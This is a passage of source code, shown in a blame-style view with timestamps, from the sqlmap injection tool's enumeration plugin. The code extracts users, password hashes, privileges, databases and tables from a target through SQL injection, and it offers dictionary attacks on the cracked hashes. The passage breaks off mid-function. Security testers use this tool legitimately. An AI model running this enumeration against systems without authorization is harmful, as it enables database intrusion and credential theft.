sqlmap/plugins/generic/enumeration.py

1999 lines
75 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
2010-09-30 16:35:45 +04:00
import time
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
from lib.core.common import arrayizeValue
2010-09-30 16:35:45 +04:00
from lib.core.common import dataToStdout
2008-10-15 19:38:22 +04:00
from lib.core.common import getRange
2010-08-31 18:31:17 +04:00
from lib.core.common import getCompiledRegex
2010-09-30 16:35:45 +04:00
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
2010-09-30 16:35:45 +04:00
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import safeStringFormat
from lib.core.common import strToHex
from lib.core.convert import utf8decode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
2010-09-30 23:45:23 +04:00
from lib.core.data import paths
2008-10-15 19:38:22 +04:00
from lib.core.data import queries
from lib.core.enums import DBMS
2010-12-10 16:04:36 +03:00
from lib.core.enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
2010-09-30 23:45:23 +04:00
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
2008-10-15 19:38:22 +04:00
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
2008-10-15 19:38:22 +04:00
from lib.request import inject
2010-09-30 16:35:45 +04:00
from lib.request.connect import Connect as Request
from lib.techniques.brute.use import columnExists
2010-11-09 12:42:43 +03:00
from lib.techniques.brute.use import tableExists
from lib.techniques.inband.union.test import unionTest
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
2008-10-15 19:38:22 +04:00
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self, dbms):
kb.data.has_information_schema = False
2010-12-27 19:36:05 +03:00
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
kb.misc.testedDbms = dbms
2008-10-15 19:38:22 +04:00
def getBanner(self):
if not conf.getBanner:
return
2010-12-27 19:55:27 +03:00
if kb.data.banner is None:
kb.dbmsDetected = True
2010-12-27 19:55:27 +03:00
infoMsg = "fetching banner"
logger.info(infoMsg)
2010-03-04 17:23:52 +03:00
if conf.unionTest:
conf.dumper.technic("inband injection payload", unionTest())
query = queries[kb.dbms].banner.query
kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner)
2010-12-27 19:55:27 +03:00
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
2010-12-27 19:55:27 +03:00
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
2008-10-15 19:38:22 +04:00
2010-12-27 19:55:27 +03:00
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
2008-10-15 19:38:22 +04:00
2011-01-02 11:01:01 +03:00
if conf.os:
setOs()
return kb.data.banner
2008-10-15 19:38:22 +04:00
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-10-23 10:42:21 +04:00
query = queries[kb.dbms].current_user.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query)
2008-10-15 19:38:22 +04:00
return kb.data.currentUser
2008-10-15 19:38:22 +04:00
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-10-23 10:42:21 +04:00
query = queries[kb.dbms].current_db.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query)
2008-10-15 19:38:22 +04:00
return kb.data.currentDb
2008-10-15 19:38:22 +04:00
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL:
self.getCurrentUser()
query = queries[kb.dbms].is_dba.query % kb.data.currentUser.split("@")[0]
else:
query = queries[kb.dbms].is_dba.query
query = agent.forgeCaseStatement(query)
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
return kb.data.isDba == "1"
2008-10-15 19:38:22 +04:00
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].users
2010-11-02 14:59:24 +03:00
condition = ( kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema )
2008-10-15 19:38:22 +04:00
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2010-10-25 16:25:29 +04:00
value = inject.getValue(query, blind=False, error=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedUsers = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
2010-11-03 00:52:48 +03:00
if kb.dbms in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
2008-10-15 19:38:22 +04:00
user = inject.getValue(query, inband=False)
if user:
kb.data.cachedUsers.append(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2008-10-15 19:38:22 +04:00
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
query += " WHERE %s = '%s'" % (condition, conf.user)
2010-10-25 16:25:29 +04:00
value = inject.getValue(query, blind=False, error=False)
2008-10-15 19:38:22 +04:00
if value:
for user, password in value:
if not user or user == " ":
continue
password = parsePasswordHash(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPasswords[user].append(password)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords and not conf.direct:
2008-10-15 19:38:22 +04:00
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
2008-10-15 19:38:22 +04:00
if parsedUser:
user = parsedUser.groups()[0]
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.blind.count2 % user
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % user
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
passwords = []
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.SYBASE:
if index > 0:
warnMsg = "unable to retrieve other password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
break
else:
query = rootQuery.blind.query % user
kb.disableStdOut = True
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MSSQL:
2008-10-15 19:38:22 +04:00
if kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.blind.query2 % (user, index, user)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (user, index, user)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (user, index)
2008-10-15 19:38:22 +04:00
password = inject.getValue(query, inband=False)
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.SYBASE:
kb.disableStdOut = False
password = "0x%s" % strToHex(password)
infoMsg = "retrieved: %s" % password
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
message = "do you want to use dictionary attack on retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
2008-10-15 19:38:22 +04:00
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
2010-12-04 01:28:09 +03:00
dbaCondition = ( kb.dbms == DBMS.PGSQL and "super" in privileges )
2008-10-15 19:38:22 +04:00
# In Oracle the DBA privilege means that the
# user is DBA
2010-11-02 14:59:24 +03:00
dbaCondition |= ( kb.dbms == DBMS.ORACLE and "DBA" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
2010-11-02 14:59:24 +03:00
dbaCondition |= ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
2008-10-15 19:38:22 +04:00
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
2010-11-02 14:59:24 +03:00
dbaCondition |= ( kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
2008-10-15 19:38:22 +04:00
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
2010-11-02 14:59:24 +03:00
dbaCondition |= ( kb.dbms == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
2008-10-15 19:38:22 +04:00
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
# Set containing the list of DBMS administrators
areAdmins = set()
mysqlPrivs = (
( 1, "select_priv" ),
( 2, "insert_priv" ),
( 3, "update_priv" ),
( 4, "delete_priv" ),
( 5, "create_priv" ),
( 6, "drop_priv" ),
( 7, "reload_priv" ),
( 8, "shutdown_priv" ),
( 9, "process_priv" ),
( 10, "file_priv" ),
( 11, "grant_priv" ),
( 12, "references_priv" ),
( 13, "index_priv" ),
( 14, "alter_priv" ),
( 15, "show_db_priv" ),
( 16, "super_priv" ),
( 17, "create_tmp_table_priv" ),
( 18, "lock_tables_priv" ),
( 19, "execute_priv" ),
( 20, "repl_slave_priv" ),
( 21, "repl_client_priv" ),
( 22, "create_view_priv" ),
( 23, "show_view_priv" ),
( 24, "create_routine_priv" ),
( 25, "alter_routine_priv" ),
( 26, "create_user_priv" ),
)
pgsqlPrivs = (
( 1, "createdb" ),
( 2, "super" ),
( 3, "catupd" ),
)
firebirdPrivs = {
"S": "SELECT",
"I": "INSERT",
"U": "UPDATE",
"D": "DELETE",
"R": "REFERENCES",
"E": "EXECUTE"
}
2008-10-15 19:38:22 +04:00
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
2008-10-15 19:38:22 +04:00
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
2010-10-25 16:25:29 +04:00
values = inject.getValue(query, blind=False, error=False)
2010-11-02 14:59:24 +03:00
if not values and kb.dbms == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
if values:
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
2010-12-04 01:28:09 +03:00
if kb.dbms == DBMS.PGSQL and getUnicode(privilege).isdigit():
2008-10-15 19:38:22 +04:00
for position, pgsqlPriv in pgsqlPrivs:
if count == position and int(privilege) == 1:
privileges.add(pgsqlPriv)
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE or ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv)
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPrivileges and not conf.direct:
conditionChar = "="
2008-10-15 19:38:22 +04:00
if conf.user:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
users = set()
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
2008-10-15 19:38:22 +04:00
else:
users = conf.user.split(",")
2008-10-15 19:38:22 +04:00
else:
if not len(kb.data.cachedUsers):
2008-10-15 19:38:22 +04:00
users = self.getUsers()
else:
users = kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
unescapedUser = None
2008-10-15 19:38:22 +04:00
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
2008-10-15 19:38:22 +04:00
if user in retrievedUsers:
continue
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if unescapedUser:
queryUser = unescapedUser
2008-10-15 19:38:22 +04:00
else:
queryUser = user
2008-10-15 19:38:22 +04:00
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % queryUser
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, queryUser)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE and query2:
query = rootQuery.blind.count2 % queryUser
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % queryUser
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and kb.dbms == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
privileges = set()
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (queryUser, index)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, queryUser, index)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE and query2:
query = rootQuery.blind.query2 % (queryUser, index)
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, queryUser)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (queryUser, index)
2008-10-15 19:38:22 +04:00
privilege = inject.getValue(query, inband=False)
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
2010-12-04 01:28:09 +03:00
if kb.dbms == DBMS.PGSQL and ", " in privilege:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs:
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ORACLE or ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema ):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs:
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.FIREBIRD:
privileges.add(firebirdPrivs[privilege.strip()])
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
break
2008-10-15 19:38:22 +04:00
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersPrivileges, areAdmins )
2008-10-15 19:38:22 +04:00
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % kb.dbms
warnMsg += "exist. sqlmap will enumerate privileges instead"
2010-03-26 23:45:22 +03:00
logger.warn(warnMsg)
return self.getPrivileges(query2)
2008-10-15 19:38:22 +04:00
def getDbs(self):
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
2008-10-26 20:00:07 +03:00
warnMsg += "names will be fetched from 'mysql' database"
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].dbs
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2010-10-25 16:25:29 +04:00
value = inject.getValue(query, blind=False, error=False)
2008-10-15 19:38:22 +04:00
if value:
kb.data.cachedDbs = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
2010-12-10 16:04:36 +03:00
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of databases"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.SYBASE:
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
2008-10-15 19:38:22 +04:00
db = inject.getValue(query, inband=False)
if db:
kb.data.cachedDbs.append(db)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedDbs
2008-10-15 19:38:22 +04:00
def getTables(self):
2010-11-02 14:06:47 +03:00
bruteForce = False
self.forceDbmsEnum()
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
2010-09-30 23:45:23 +04:00
logger.error(errMsg)
2010-11-02 14:06:47 +03:00
bruteForce = True
2010-11-02 14:59:24 +03:00
elif kb.dbms == DBMS.ACCESS:
2010-11-02 14:06:47 +03:00
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
2010-10-29 13:00:51 +04:00
2010-11-02 14:06:47 +03:00
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
2010-09-30 23:45:23 +04:00
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
2010-10-29 13:00:51 +04:00
else:
2010-11-09 12:42:43 +03:00
return tableExists(paths.COMMON_TABLES)
2008-10-15 19:38:22 +04:00
infoMsg = "fetching tables"
2008-10-15 19:38:22 +04:00
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[kb.dbms].tables
2010-12-22 14:46:18 +03:00
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
2010-10-26 03:39:55 +04:00
if kb.unionPosition is not None or conf.direct:
query = rootQuery.inband.query
2010-12-22 14:46:18 +03:00
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if condition:
if conf.db and kb.dbms != DBMS.SQLITE:
if "," in conf.db:
dbs = conf.db.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
else:
query += " WHERE %s='%s'" % (condition, conf.db)
elif conf.excludeSysDbs:
2008-10-15 19:38:22 +04:00
query += " WHERE "
2010-12-22 14:46:18 +03:00
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE):
query = safeStringFormat(query, conf.db)
2010-10-25 16:25:29 +04:00
value = inject.getValue(query, blind=False, error=False)
2008-10-15 19:38:22 +04:00
if value:
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.SQLITE:
if isinstance(value, basestring):
2010-11-02 14:59:24 +03:00
value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)):
newValue = []
for v in value:
2010-11-02 14:59:24 +03:00
newValue.append([ DBMS.SQLITE, v])
value = newValue
2008-10-15 19:38:22 +04:00
for db, table in value:
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedTables[db].append(table)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedTables and not conf.direct:
2008-10-15 19:38:22 +04:00
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2010-11-03 01:11:45 +03:00
if kb.dbms in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
